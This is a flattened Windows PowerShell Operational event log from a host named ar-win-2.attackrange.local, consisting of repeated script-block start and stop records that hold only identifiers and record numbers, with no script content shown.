410515102150x0670477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 